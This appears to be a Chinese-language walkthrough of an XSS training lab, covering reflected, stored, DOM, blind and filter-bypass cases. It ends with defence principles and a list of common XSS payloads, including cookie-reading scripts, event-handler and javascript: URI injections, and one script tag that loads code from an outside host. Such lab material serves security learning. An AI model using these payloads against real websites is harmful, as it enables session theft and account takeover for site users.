1.反射型XSS(get)
构造XSS语句
<script>alert(xss)</script>
发现输入到一半不能输入了,此时检查元素发现有长度限制,找到maxlength并修改它的值
再次输入XSS语句
2.反射型XSS(post)
通过暴力破解模块,我们知道了用户名:admin密码:123456,我们登录后,和上一题一样构造XSS语句
<script>alert(document.cookie)</script>
得到cookie
3.储存型XSS
构造XSS语句
<script>alert(xss)</script>
我们发现每次储存留言的时候都会有弹窗出现,这就是储存型xss
4.DOM型XSS
检查源码发现getElementById获取标签id为text的值给str,str通过字符串拼接到a标签中。所以我们要闭合前面的标签。
输入’><img src=x οnerrοr=alert(xss)>
5.DOM型xss-x
检查网页源代码,发现与上一题差不多
输入’><img src=x οnerrοr=alert(xss)>
6.xss之盲打
先在留言中输入<script>alert(xss)</script>,提交后发现没有反应
然后根据提示登录后台地址看一下
看到后台得到cookie值
7.XSS之过滤
输入<script>alert(document.cookie)</script>之后只出现了’>’,说明有过滤,并且在url中也发现了我们输入的东西,说明这是反射型(get)xss
通过测试我们发现它过滤掉的语句可能是<.script*,因此我们就不能使用<script>标签了,输入<a href="#" οnclick="alert(document.cookie)">
8.xss之htmlspicalchars
PHP htmlspecialchars() 函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
输入测试代码
可以看到<,>,”都做了转码,只有’(单引号)没有进行转码,可以用单引号构造payload
‘ οnclick=’alert(111) ‘
9.xss之herf输出
题目要求随意输入一个url我这里输入http:/www.guet.edu.cn出现一个超链接点进去就跳转到这个网站了
然后查看源代码
通过提示了解了在a标签的href属性里面,可以使用javascript协议来执行js
所以我们构造语句为 javascript:alert(111) 回车之后,点击阁下自己输入的url还请自己点一下吧,成功出来弹窗
10.xss之js输出
随意输入内容,检查网页源码,发现接受是在script中
我们来构造一个闭合'</script><script>alert( 'xss')</script>
xss的防范措施
总原则:
输入做过滤,输出做转义
过滤:比如对输入的东西做要求,如输入手机号,只能输入数字
转义∶所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义。
常用payload
<script>alert(1)</script> #最普通的xss
<script>alert(document.cookie)</script> #获取cookie
<a href="javascript:alert('xss')">xss</a> #a链接的xss
<script src='http://baidu.com/xss.js'></script> # 外部攻击代码
<img src=x οnerrοr=alert(1)> #加载图形失败执行
<iframe οnlοad=alert('xss')> #框架
<svg οnlοad=alert(1)>
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
<body οnlοad=alert(1)>
<style οnlοad=alert(1)></style>
<input οnmοuseοver=alert(1)>